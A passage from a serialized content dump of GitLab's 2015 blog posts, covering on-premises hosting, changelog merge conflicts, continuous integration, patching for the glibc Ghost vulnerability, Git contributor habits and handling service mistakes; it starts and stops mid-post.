tool\nintegrations to choose from and API access is limited or nonexistent.\n\n## Control\nThere's something to be said about knowing where your code is stored,\nhow it's backed-up, which servers are managing the repositories and\nwhat the failover plan is. Being at the mercy of your hosting provider\nreduces that level of control and introduces a new level of risk.\nAlthough unscheduled downtime of hosted services is few and far\nbetween, it still happens and when it does, thousands of developers are\nleft twiddling their thumbs. Most large development organizations are\nspread across multiple time zones and scheduling maintenance windows\ncan be tricky. With an on premise server, you're in control of these\nwindows.\n\n## Performance\nI've seen hundreds of RFP's over the years and every one of them\nincluded a section on performance. Performance is one of the biggest\ndrivers behind a migration off legacy systems after all. Having your\nrepositories in a data center that's local to your developers reduces\nlatency, speeding up push / pull times and especially initial clone\ntimes.  As repositories grow large, latency exacerbates performance\ndegradation making on-prem servers more conducive to big code bases.\n\n## Choice and Flexibility\nOn-premises deployments can be installed on physical servers,\nvirtualized servers (dedicated or shared), purpose-built appliances and\nvirtualized appliances. These aren't available with hosted solutions.\nLikewise, most on-premises servers can be deployed on a variety of\noperating systems and there's more choice of on-premises solutions in\ngeneral.\n\n## Retrieval\nGetting your IP back from cloud vendors that store data in proprietary formats can be a costly and lengthy process. No such trouble with on-premises.\n\n## Conclusion\nAlthough there's plenty of good reasons for using a hosted solution,\nthe advantages of on-premises deployments should not be overlooked.\nGitLab is the most adopted on-premises solution for developer\ncollaboration, deployed at over 100,000 organizations worldwide.\n",{"slug":40048,"featured":6,"template":678},"why-ship-on-premises-in-the-saas-era","content:en-us:blog:why-ship-on-premises-in-the-saas-era.yml","Why Ship On Premises In The Saas Era","en-us/blog/why-ship-on-premises-in-the-saas-era.yml","en-us/blog/why-ship-on-premises-in-the-saas-era",{"_path":40054,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40055,"content":40061,"config":40065,"_id":40067,"_type":16,"title":40068,"_source":17,"_file":40069,"_stem":40070,"_extension":20},"/en-us/blog/gitlab-reduced-merge-conflicts-by-90-percent-with-changelog-placeholders",{"title":40056,"description":40057,"ogTitle":40056,"ogDescription":40057,"noIndex":6,"ogImage":40058,"ogUrl":40059,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40059,"schema":40060},"GitLab reduced merge conflicts by 90% with changelog placeholders","By utilising changelog placeholders GitLab reduced merge conflicts by 90 percent! Read more here.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683633/Blog/Hero%20Images/changelog.jpg","https://about.gitlab.com/blog/gitlab-reduced-merge-conflicts-by-90-percent-with-changelog-placeholders","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab reduced merge conflicts by 90% with changelog placeholders\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-02-10\",\n      }",{"title":40056,"description":40057,"authors":40062,"heroImage":40058,"date":40063,"body":40064,"category":734},[3532],"2015-02-10","\nGitLab has a very active development cycle with many features being added to its monthly release by\n[more than 700 contributors](http://contributors.gitlab.com/).\nLike many projects it has a\n[changelog file](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG)\nthat details all significant new features, bugfixes and changes to behaviour.\nEvery pull/merge request author is [encouraged](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md#merge-request-guidelines)\nto add a line to this changelog. Unfortunately, the amount of merge requests lead to a time-consuming problem.\n\n\u003C!-- more -->\n\n## Problem\n\n[![:(](https://about.gitlab.com/images/conflict.png)](/images/conflict.png)\n\nThe order in which merge requests are accepted is not know in advance.\nMost merge request added a new line to the changelog the end of the upcoming version.\nThis meant that upon merging a single merge request, all other unmerged MRs were immediately broken, since they modified the same line.\nThe authors of the merge requests had to solve the merge conflict with a commit or rebase before their code could be merged in the web UI.\n\n## Update\n\nayufan suggested a much better solution in the comments of this article.\nIf you add `CHANGELOG merge=union` to the .gitattributes file in the root of the repo you should not have any conflicts.\nInstead of leaving conflicts the [union merge option](http://git-scm.com/docs/git-merge-file) will resolve conflicts favouring both side of the lines.\nAn example of such a setting change is in the [endgamesingularity repo](https://code.google.com/p/endgame-singularity/source/browse/.gitattributes).\nThanks ayufan, we'll try this instead.\n\n## Solution\n\nAt GitLab we solved the above problem by adding a 100 lines with just a hyphen placeholder at the top of the changelog.\nPeople can insert their entry at a random location in the changelog.\nThere is still a chance of conflict when two merge requests change the same line but it is greatly reduced.\nIt looks a bit strange to have these empty lines on top so we added a [comment to explain their purpose.](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG#L1).\n\n[![What developer happiness looks like](https://about.gitlab.com/images/accept.png)](/images/accept.png)\n\nAs [part of the monthly release process](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/release/monthly.md#prepare-changelog-for-next-release) all the empty lines are removed and new ones for the upcoming release are added.\nThe placeholders ensure that lead GitLab developer Dmitriy can merge new contributions easily from his iPad.\nWhich has led to more late-night merging activity making everyone happy.\n\n## What do you do?\n\nWe hope this article inspires other open and closed source projects to reduce their merge conflicts.\nOr if you don't have a changelog yet to start maintaining one, it sure beats doing git diffs all the time.\nPlease let us know if you are inspired or if you have any other tricks to share in the comments.\n",{"slug":40066,"featured":6,"template":678},"gitlab-reduced-merge-conflicts-by-90-percent-with-changelog-placeholders","content:en-us:blog:gitlab-reduced-merge-conflicts-by-90-percent-with-changelog-placeholders.yml","Gitlab Reduced Merge Conflicts By 90 Percent With Changelog Placeholders","en-us/blog/gitlab-reduced-merge-conflicts-by-90-percent-with-changelog-placeholders.yml","en-us/blog/gitlab-reduced-merge-conflicts-by-90-percent-with-changelog-placeholders",{"_path":40072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40073,"content":40079,"config":40084,"_id":40086,"_type":16,"title":40087,"_source":17,"_file":40088,"_stem":40089,"_extension":20},"/en-us/blog/why-move-to-a-single-code-collaboration-tool",{"title":40074,"description":40075,"ogTitle":40074,"ogDescription":40075,"noIndex":6,"ogImage":40076,"ogUrl":40077,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40077,"schema":40078},"Why move to a single code collaboration tool?","Moving to a single code coolaboration tool streamlines process and allows you to free up valuable resources. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684346/Blog/Hero%20Images/one_instance.jpg","https://about.gitlab.com/blog/why-move-to-a-single-code-collaboration-tool","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why move to a single code collaboration tool?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marc Radulescu\"}],\n        \"datePublished\": \"2015-02-06\",\n      }",{"title":40074,"description":40075,"authors":40080,"heroImage":40076,"date":40082,"body":40083,"category":8943},[40081],"Marc Radulescu","2015-02-06","\n\nSay your department has five teams, and each team is running its own code collaboration tool.\nOne of the teams is still using SVN.\nOther teams have moved on to a Distributed Version Control Solution (DVCS), but the teams all use different solutions.\n\nAll the developers are happy at this time.\nThey get to use their own workflow, the one they prefer.\nThe team leads get to manage tools that they are already comfortable with.\nYou don't have to deal with people complaining that their tool sucks.\n\nBut underneath all that happiness, trouble slowly brews.\n\n\u003C!-- more -->\n\n## Is there anything actually wrong?\n\nThe only reason why your teams are happy, is that someone is putting extra effort in keeping your setup together.\n\nFirst of all, the teams are having trouble collaborating.\nWhen one developer gets involved in another team's project, they need to accommodate their workflow, familiarize themselves with the tool and have all their credentials set up.\nYour admins are spending time facilitating this.\n\nSecond, code security is complicated.\nYou've got five systems to patch for security updates and five permission schemas to enforce.\nYour admins are spending time updating five installations in a timely manner.\n\nThird, integrating these tools into your tool stack always needs extra work.\nThere's five plugins, or APIs, or services to maintain.\nYour admins spend time keeping the integration with the tool stack working.\n\nFourth, is anyone paying for support over these installations?\nIf so, that's five agreements to maintain and bother with, and five vendors to maintain a relationship with.\n\n## You can free up resources by consolidating to a single tool.\n\nThis way, you're improving collaboration between teams.\nWith GitLab Enterprise Edition for instance, all the project master needs to do is press two buttons, and their project is shared with another team.\nFor a front-facing instance, just [switch](http://doc.gitlab.com/ce/public_access/public_access.html) to \"internal\" privacy and your project is now [innersourced](/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/)\n\nKeep security management high level.\nOne installation to patch, [one permissions schema](http://doc.gitlab.com/ce/permissions/permissions.html).\n\nYou're also freeing up your admins from maintaining five different installations.\nThey don't need to schedule downtime five times anymore.\n\nLastly, keep the overhead low on the commercial side.\nOnce point of contact for your questions, one contract to bother legal with, one company to address when you want a new feature.\n\n## There are some caveats, but they can be addressed.\n\nSure, there might be caveats.\n\nYou now have a single solution.\nHowever, that solution is scalable with [Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures/) and you can set up disaster recovery if you want.\n\nYou might think that one tool restricts you to just one workflow.\nHowever, Git allows for a number of different workflows for your teams to choose from.\nAnd if they are not comfortable with any, feel free to recommend them the [GitLab flow](/topics/version-control/what-is-gitlab-flow/).\n\n## There are several next steps to consider.\n\nStart by taking a look at what GitLab has to offer.\n\nWith a subscription, you will give you access to a [feature-rich](/pricing/feature-comparison/) self-managed solution capable of scaling to thousands of projects and users.\n\nWe can help you migrate your projects from other tools such as [SVN](http://doc.gitlab.com/ce/workflow/migrating_from_svn.html) or [GitHub](http://doc.gitlab.com/ce/workflow/import_projects_from_github.html) with ur built-in GitHub importer.\nWe will help you set a GitLab instance up.\n\nFor any further questions [contact sales](/sales/) and give us details on your current layout.\n",{"slug":40085,"featured":6,"template":678},"why-move-to-a-single-code-collaboration-tool","content:en-us:blog:why-move-to-a-single-code-collaboration-tool.yml","Why Move To A Single Code Collaboration Tool","en-us/blog/why-move-to-a-single-code-collaboration-tool.yml","en-us/blog/why-move-to-a-single-code-collaboration-tool",{"_path":40091,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40092,"content":40098,"config":40102,"_id":40104,"_type":16,"title":40105,"_source":17,"_file":40106,"_stem":40107,"_extension":20},"/en-us/blog/7-reasons-why-you-should-be-using-ci",{"title":40093,"description":40094,"ogTitle":40093,"ogDescription":40094,"noIndex":6,"ogImage":40095,"ogUrl":40096,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40096,"schema":40097},"7 reasons why you should be using Continuous Integration","View the 7 resons why you and your business should be using Continuous Integration for exceptional results!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684339/Blog/Hero%20Images/vespa.jpg","https://about.gitlab.com/blog/7-reasons-why-you-should-be-using-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 reasons why you should be using Continuous Integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patricio Cano\"}],\n        \"datePublished\": \"2015-02-03\",\n      }",{"title":40093,"description":40094,"authors":40099,"heroImage":40095,"date":40100,"body":40101,"category":734},[38543],"2015-02-03","\n\nWhen developing software you are usually spoiled for choice. There are many languages you can choose from, different\ntest suites to try, countless frameworks you can use and many Continuous Integration (CI) offerings.\n\nYou can always go with the language you like the most, the test suite you find most practical and choose not to use a\nframework, but you should always think about CI.\n\nContinuous Integration is a way to increase code quality without putting an extra burden on the developers.\nTests and checks of your code are handled on a server and automatically reported back to you.\n\nHere are out top 7 reasons why we think you should be using CI and why you should consider it from the beginning of your\nproject.\n\n\u003C!-- more -->\n\n## 1. Run your tests in the real world\n\nHave you ever had your tests pass on your machine, but fail on someone else's? Well, with CI you can avoid that embarrassment.\nJust push your code to your new branch and the CI server will take care of running the tests for you. If everything is\ngreen, you can be sure that you didn't break anything. And if they fail for someone else, you have evidence that they\nare wrong.\n\n## 2. Increase your code coverage\n\nThink your tests cover most of your code? Well think again. A CI server can check your code\nfor test coverage. Now, every time you commit something new without any tests,\nyou will feel the shame that comes with having your coverage percentage go down because of your changes.\n\n## 3. Deploy your code to production\n\nYou can have the CI server automatically deploy your code to production if all the test within a given branch are green.\nThis is what is formally known as **Continuous Deployment**, or **Oh my God, that was scary, I'm glad my code worked!**\nin some circles.\n\n## 4. Build stuff now\n\nAll your tests are green and the coverage is good, but you don't handle code that needs to be deployed? No worries! CI\nservers can also trigger build and compilation processes that will take care of your needs in no time. No more having to\nsit in front of your terminal waiting for the build to finish, only to have it fail at the last second. The CI server will\nrun this for you within its scripts and notify you as soon as something goes wrong.\n\n## 5. Build stuff faster\n\nWith parallel build support, you can split your tests and build processes into different machines, so everything will\nfinish even faster than if you ran it locally. It will also consume less local power and resources, so you can continue\nworking on something else while the builds run.\n\n## 6. Don't break stuff\n\nHaving your code tested before and after it is merged will allow you to decrease the amount of times your master build\nis broken. Don't wait until it's too late, test yo-self, before you brake yo-self.\n\n## 7. Decrease code review time\n\nYou can have your CI and Version Control Server communicate with each other and tell you when a merge request is\ngood to merge. It can also show how the code coverage would be affected by it. This can dramatically reduce the time\nit takes to review a merge request.\n\n## GitLab CI\n\nOf course if you are in the market for a CI server, we kindly encourage you to use [GitLab CI](/solutions/continuous-integration/),\nespecially because it includes all features we mentioned here and more!\n\nWant to give it a try right now? Grab a [runner package](https://gitlab.com/gitlab-org/omnibus-gitlab-runner/blob/master/doc/install/README.md)\ninstall it on your server and you can have free CI for your private repositories on GitLab.com and [https://ci.gitlab.com/](https://ci.gitlab.com/)\n",{"slug":40103,"featured":6,"template":678},"7-reasons-why-you-should-be-using-ci","content:en-us:blog:7-reasons-why-you-should-be-using-ci.yml","7 Reasons Why You Should Be Using Ci","en-us/blog/7-reasons-why-you-should-be-using-ci.yml","en-us/blog/7-reasons-why-you-should-be-using-ci",{"_path":40109,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40110,"content":40115,"config":40119,"_id":40121,"_type":16,"title":40122,"_source":17,"_file":40123,"_stem":40124,"_extension":20},"/en-us/blog/stop-waiting-for-your-ci-server-by-making-them-3x-faster",{"title":40111,"description":40112,"ogTitle":40111,"ogDescription":40112,"noIndex":6,"ogImage":39861,"ogUrl":40113,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40113,"schema":40114},"Stop waiting for your tests by making them 3x faster","Are you working on a serious software project? Run only directly related unit tests locally while your CI server takes care of the rest 3x faster than you could","https://about.gitlab.com/blog/stop-waiting-for-your-ci-server-by-making-them-3x-faster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Stop waiting for your tests by making them 3x faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-01-29\",\n      }",{"title":40111,"description":40112,"authors":40116,"heroImage":39861,"date":40117,"body":40118,"category":299},[3532],"2015-01-29","\n\nAre you working on a serious software project?\nYou probably have an extensive test suite that takes a while to run.\nWhy not run only the directly related unit tests locally and have your CI server take care of the rest 3x faster than you could?\nThis way you can start with the next feature while your feature branch is being tested.\n\nHaving the tests run 3x faster on the CI server requires adding multiple workers to execute the tests in parallel.\nSo far this has been very expensive, but with GitLab CI it is affordable for everyone.\n\n\u003C!-- more -->\n\n[![screenshot](https://about.gitlab.com/images/ci_5_4/parallel.png)](/images/ci_5_4/parallel.png)\n\n\n## Price comparison\n\nRight now it is expensive for people to test private repositories quickly.\n\nMost serious projects have a long test suite and you want to run tests in parallel.\nYou want to be able to test multiple commits at the same time,\nso you can merge everything quickly at the end of the sprint.\n\nSuppose you want to have 5 tests in parallel on 2 different commits.\nFor this you would need 10 runners/workers.\n\nOn [Travis](https://travis-ci.com/plans) the plan for 10 concurrent jobs is $489 per month.\n\nOn [CircleCI](https://circleci.com/pricing) the cost for 1 free and 9 paid jobs is $450 per month.\n\nAs you can easily set up your own workers (Runners) with GitLab CI,\nthis scale becomes much more affordable:\n\nIf you get 10 dedicated [Digital Ocean boxes](https://www.digitalocean.com/pricing/) with 2GB each you would pay 10 * $20 per month = $200 per month.\nYou save more than 50% and most DO boxes are [faster](http://uncrunched.com/2013/08/07/digital-ocean-v-aws-10x-performance-for-13-cost/) than those at other providers.\n\n## Continuous Integration (CI) hosted for free\n\nAt ci.gitlab.com you can run CI completely free except that you need to bring your own test Runners.\nThis is not a temporary beta, we intend to continue to offer this for free, a world's first as far as we know.\n\nSimply add your projects from GitLab.com to ci.gitlab.com and configure the build script(s).\nYou can use the parallel build feature of GitLab CI and we'll store the build logs and configuration for you.\n\nTo run your tests you need to install GitLab Runner on one or more of your instances.\nThe CI status will show in merge requests on GitLab.com.\n\n## No instances available? No problem!\n\nDon't have any instances handy to install the runner on? We can help.\n\n**In total, we're giving away up to $520,000.- in cloud hosting for people to host their Runner!**\nThis is a collaboration with Google Compute Engine and Digital Ocean, we're very grateful for their offer.\nDid you know they both also offer one-click-installs of GitLab?\nTo claim your credit please see the instructions below.\n\nThe credit is a limited time offering but the free CI for private projects on ci.gitlab.com is permanent.\n\n## Claim Google Cloud Platform credit\n\nGoogle Cloud Platform offers $500 in credit for the first 1000 users.\nTo get started, follow the three steps below:\n\n1. Go to [http://cloud.google.com/startercredit](http://cloud.google.com/startercredit)\n1. Click Apply Now\n1. Complete the form with code: gitlab\n\nWith Cloud Platform you can access application, compute, storage and big data services.\nYou’re now building on the same infrastructure that powers Google.\n\n## Claim Digital Ocean credit\n\nDigitalOcean offers $40 in credit for the first 500 users.\nThis is valid only for new DigitalOcean accounts, not for existing users.\nThe offer is valid for one week and you can claim up to one promo per person.\nYou need to set up a project on GitLab.com and add it to ci.gitlab.com before you can claim it.\n\nTo claim it please fill out [this form](https://docs.google.com/a/gitlab.com/forms/d/1YXTRwDz2C8o4DqNrFCT78UQf_iHnN1Ekrt4p8yv6fd4/viewform) with your name, email or handle and project url.\nOnce submitted, the GitLab team will email you your unique promo code.\nIf you have any questions about this promotion, please contact the GitLab support team via [support.gitlab.com](https://support.gitlab.com/).\n\n## On your server\n\nIf you want to run CI on your own servers that is also possible.\nGitLab CI is included if the [GitLab Omnibus packages](/install/)\nTo enable it just [change a single line](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/gitlab-ci/README.md##getting-started).\n\n## What do you think?\n\nHow much time can you save with parallel tests on fast machines?\n",{"slug":40120,"featured":6,"template":678},"stop-waiting-for-your-ci-server-by-making-them-3x-faster","content:en-us:blog:stop-waiting-for-your-ci-server-by-making-them-3x-faster.yml","Stop Waiting For Your Ci Server By Making Them 3x Faster","en-us/blog/stop-waiting-for-your-ci-server-by-making-them-3x-faster.yml","en-us/blog/stop-waiting-for-your-ci-server-by-making-them-3x-faster",{"_path":40126,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40127,"content":40132,"config":40136,"_id":40138,"_type":16,"title":40139,"_source":17,"_file":40140,"_stem":40141,"_extension":20},"/en-us/blog/responding-to-ghost",{"title":40128,"description":40129,"ogTitle":40128,"ogDescription":40129,"noIndex":6,"ogImage":12013,"ogUrl":40130,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40130,"schema":40131},"Responding to Ghost","A response from GitLab to the announcem,ent of the glibc vulnerability 2015, this had liitle impacty on GitLab, but latest OS updates are recomended.","https://about.gitlab.com/blog/responding-to-ghost","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Responding to Ghost\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2015-01-28\",\n      }",{"title":40128,"description":40129,"authors":40133,"heroImage":12013,"date":40134,"body":40135,"category":299},[15467],"2015-01-28","\n\nYesterday the [Ghost vulnerability in\nglibc](http://www.openwall.com/lists/oss-security/2015/01/27/9) was announced.\nA bug in a networking function in the version of the C standard library found\non many Linux systems can potentially lead to remote code execution.  There is\nno indication at this time that this bug can be exploited against GitLab but it\nis nevertheless recommendable to install the latest updates from your OS\nvendor.  In this post we will tell you how we did this at GitLab B.V.\n\n\u003C!-- more -->\n\n## 1. Update your OS packages\n\nThe first step for us was to run `apt-get upgrade` and `yum update` on all our\nLinux machines.\n\n## 2. Reboot your machine\n\nRebooting your server(s) is disruptive but with something as common as the C\nstandard library, it is difficult to pinpoint the individual services that need\nto be restarted. If you reboot you are sure you caught them all; this is what\nwe did with our Linux servers.\n\nIf you do decide to restart only selected services instead of the whole server,\nyou can restart GitLab with `sudo gitlab-ctl restart` (for Omnibus packages) or\n`sudo service gitlab restart` (for installations from source).\n\n## Fast 'reboots' using HA\n\nRebooting one of our [gitlab.com production\nservers](/blog/the-hardware-that-powers-100k-git-repos/) can easily take\n5 minutes. To reduce the downtime for our users we used our [DRBD-based clustered setup](https://docs.gitlab.com/ee/administration/postgresql/index.html). First we\ninstalled updated packages on our stand-by server, followed by a reboot. Then\nwe did a failover from the active server to the stand-by in under a minute.\nThis gives us the same end result as a server reboot, namely gitlab.com running\non a freshly booted server, without having to wait for the reboot cycle of an\nindividual server.\n",{"slug":40137,"featured":6,"template":678},"responding-to-ghost","content:en-us:blog:responding-to-ghost.yml","Responding To Ghost","en-us/blog/responding-to-ghost.yml","en-us/blog/responding-to-ghost",{"_path":40143,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40144,"content":40150,"config":40154,"_id":40156,"_type":16,"title":40157,"_source":17,"_file":40158,"_stem":40159,"_extension":20},"/en-us/blog/7-git-personalities",{"title":40145,"description":40146,"ogTitle":40145,"ogDescription":40146,"noIndex":6,"ogImage":40147,"ogUrl":40148,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40148,"schema":40149},"7 Git personalities, which one are you?","Working on an open source projects we receive many merge and pull requests and see a number of different git personalities. Do you recognize yourself?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684330/Blog/Hero%20Images/git_personalities.jpg","https://about.gitlab.com/blog/7-git-personalities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 Git personalities, which one are you?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-01-27\",\n      }",{"title":40145,"description":40146,"authors":40151,"heroImage":40147,"date":40152,"body":40153,"category":8943},[36660],"2015-01-27","\n\nWorking on an open source project, we're so lucky to receive many merge -and\npull requests. Not unlike dating, we see a number of different _git personalities_.\nDo you recognize yourself or one of your colleagues in one of them? Let us know in the comments\nor tweet about it with #gitlab.\n\n\u003C!-- more -->\n\n## 1. The Build Breaker\n\n> Oh this is a small change, I'll just push it to master..\n\nWe all do it. A small change, preferably at the end of the week, it's not\ngoing to hurt anyone..\n\nHow wrong you are. You just broke the build for everyone\nelse. Either you'll have to fix this yourself quickly or you're leaving your\nteam to clean up your mess.\n\n### Fixing the breaker\n\nRun relevant and fast tests locally, always work with merge requests and only merge when the build\npasses.\n\n## 2. The Repeater\n\n> ```\n> bf30a5b - cool new feature\n> dfd934s - cool new feature\n> 98dfjek - cool new feature\n> ```\n\nIf git history was like actual history, the repeater's history books would only\ncontain only a single sentence, repeated ad infinitum. The repeater repeats a single\nsentence with every commit. To know what a Repeater did, the SHA tells you\nas much as the commit message.\n\n### Fixing the broken record\n\nWrite clear commit messages that highlight the _intent_ of the commit.\nThis makes it easy to navigate through git history, to judge commits\nand find potential sources of problems.\n\n\n## 3. The Wipper\n\nYou thought you were almost done and created a merge request, but still had to\nmake a few more changes. Maybe while making those changes, you could refactor\na bit more. And possibly improve the alignment in some other places and before\nyou know it, your merge request is open for more than a month.\n\nIf this sounds like you, you might be a Wipper. The Wipper leaves their merge\nrequests on WIP forever. Ask yourself:\n\n> Do you believe that your work will ever stop being in progress?\n\n### Merging the Wip\n\nTry to follow test-driven development. Start with high-level tests and go from\nthere. When those tests pass, you're done. Stop it. Ask someone to review and\nmerge it and start with something new. Progress is many small steps.\n\n## 4. The Premature committer\n\n> ```\n> bf30a5b - add capital\n> 9d5550a - add missing period\n> 179c001 - remove 'the'\n> 983hfk2 - remove trailing space\n> ```\n\nYoung premature committers save their reports every sentence. Growing up\nwith the magic of git, they took it one step further and commit every singly\ntiny change.\n\nPremature committers and rebasers are natural enemies and are known to\nannoy one another. Don't put them in the same team if you can prevent it.\n\n### Squashing the premature committer\n\nLet's be honest, premature committer, you don't really push every commit to\nthe remote, do you? If not, then you win nothing by committing every single change!\n\nIf that doesn't wake you up, you should know that the next remedy is rebasing..\n\n## 5. The Rebaser\n\nAdding a new import utility to an open source project? UI, tests, back-end\nall in place? Awesome! In one commit? Not awesome.\n\nYou probably mean well, Rebaser. You write beautiful code and you know some\ngit-fu. But remember that with great power comes great responsibility:\nIf your feature breaks it'll be more likely to be stripped out in its entirety\nas a single commit, rather than having someone go through your history to see\nwhere it went wrong.\n\n### Grounding the Rebaser\n\nYou're probably forgiven. Most open source projects welcome you, but\nkeep your merge requests reasonable. We use git for a reason.\n\n## 6. The Merger\n\n> ```\n> 00fd402 - Merge branch 'master' into 'feature_x'\n> 34jkdi9 - Merge branch 'master' into 'feature_x'\n> svc98u2 - Merge branch 'master' into 'feature_x'\n> ```\n\nAs the Merger, you worked really hard on that new feature. At night or during\nlunch breaks: where everyone is being paid for this, you are not. That comes\nwith a cost, you start to run behind on changes and the easiest solution?\nJust merge in master!\n\nThe Merger's merge request will merge, that's for sure, but it's not pretty.\n\n### Cancelling the Merger\n\nKeep your merge requests small and only start on what you can actually finish.\nOnly merge when needed. Not even before the merge request.\nJust make sure it merges cleanly.\n\n## 7. The Denier\n\nThe Denier is the evil twin of the Build Breaker.\n\nBut really, the tests were all green on your machine! It only broke after\nsomeone else did a commit! Or even worse: the failing test is not related to\nyour code!\n\nSure, Denier, sure. We'll see what `git bisect` tells us..\n\n### Admitting being a Denier\n\nYou are responsible for more than your contribution. You are responsible for\nthe healthy continuation of the project. Show you responsibility, be proud\nto be solver of problems, not a creator of issues and fix those failing tests.\nEveryone will like you a little bit more.\n",{"slug":40155,"featured":6,"template":678},"7-git-personalities","content:en-us:blog:7-git-personalities.yml","7 Git Personalities","en-us/blog/7-git-personalities.yml","en-us/blog/7-git-personalities",{"_path":40161,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40162,"content":40168,"config":40172,"_id":40174,"_type":16,"title":40175,"_source":17,"_file":40176,"_stem":40177,"_extension":20},"/en-us/blog/how-to-turn-screw-ups-to-your-advantage",{"title":40163,"description":40164,"ogTitle":40163,"ogDescription":40164,"noIndex":6,"ogImage":40165,"ogUrl":40166,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40166,"schema":40167},"How to turn screw-ups to your advantage","In this post, we look at two instances where we at GitLab dropped the ball, and how we used these errors to learn and improve. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684352/Blog/Hero%20Images/screwup.jpg","https://about.gitlab.com/blog/how-to-turn-screw-ups-to-your-advantage","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to turn screw-ups to your advantage\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marc Radulescu\"}],\n        \"datePublished\": \"2015-01-23\",\n      }",{"title":40163,"description":40164,"authors":40169,"heroImage":40165,"date":40170,"body":40171,"category":6634},[40081],"2015-01-23","\n\nWe at GitLab believe in providing a good service to all our users, be they customers, or non-paying users.\nIn our attempt to support our users, we sometimes make mistakes.\n\nIn this post, I'll be discussing two instances where we at GitLab dropped the ball.\nI'll go through what went wrong and what we did to address our relationship with the affected party.\nThen I'll indicate how that affected our standing with that party.\nIn the end, I'll mention the process we've followed to address our mistakes.\n\n\u003C!-- more -->\n\n## The brownout\n\nGitLab.com is our free SaaS service.\nAt close to 20k monthly active users, GitLab.com is used by many of our users for production.\nWe always notify the community of downtimes on its [twitter account](https://twitter.com/gitlabstatus) and offer [paid email support](/pricing/) for it.\n\nFor years now, we'd been happy to report minimal unplanned downtime on GitLab.com, with planned downtime seldom exceeding one hour.\nOn the 31st of July 2014 though, GitLab.com went offline for a full 8 hours, affecting the workflow of a serious number of users.\n\nThe failure happened in the night between Sunday and Monday in Dutch time, so we only caught wind of the issue in the morning.\nNeither the cause nor the solution were evident though.\nSo despite fervent investigative work, we found ourselves 30 minutes into the call (and 6 hours into the downtime) none the wiser about what had happened.\n\nWe decided to openly admit that we did not know why GitLab.com was down, but to be transparent about our actions to figure out what went wrong.\nGitLab's CEO, Sytse Sijbrandij, decided to make a [public postmortem](https://docs.google.com/a/gitlab.com/document/d/1ScqXAdb6BjhsDzCo3qdPYbt1uULzgZqPO8zHeHHarS0/edit#heading=h.p95p4f6o0twk) which we've posted on [Hacker News](https://news.ycombinator.com/item?id=8003601).\nQuite the number of anonymous users joined our public google doc to get a live feed of our exploration of GitLab, with some even giving feedback on possible actions.\n\nUltimately, we brought GitLab.com back up, apologized to the community, and updated the postmortem file with all the process improvements we've done to make sure a brownout of this magnitude never happens again.\n\nThe Hacker News thread reached the top and kept GitLab in the spotlight for quite the time.\nAnd feedback from the community was [overly positive](https://twitter.com/search?q=gitlab%20postmortem&src=typd) regarding our transparent approach.\nWe believe GitLab has garnered a lot of trust in being both open about the mistake, and quick to take action.\n\n## Waking up at 5 AM for nothing\n\nOne of our lines of business is installing or upgrading GitLab for non-subscribers and basic subscribers.\nWe do this via scheduled consultancy calls.\nOne such scheduled consultancy call ended up not being honored on our side (i.e. halfway through the designated timeframe, one of our service engineers candidly asking on Slack if there's anyone handling it.)\n\nMissing a scheduled call is a big deal in itself.\nMissing one where the system administrator had woken up at 5 AM just so they make sure the servers are running when devops start work, that's really bad.\n\nAs soon as we realized that the customer wasn't being handled we went in, however they had already left the line.\nWe apologized via email and offered to have the call as soon as possible.\nAfterwards, Sytse addressed an official email to them apologizing and offering to have the call for free.\nMoreover, he started an internal postmortem to find out what had happened.\n\nThe postmortem turned out that some steps in the support process had confused our service engineers and needed improvement.\nWe wrote a follow-up to our customer detailing not only where the issue was in our process, but also the detailed steps we took to improve it.\n\nBetween the CEO apologizing and the detailed description of how we were going to improve our process, the customer - whose basic subscription 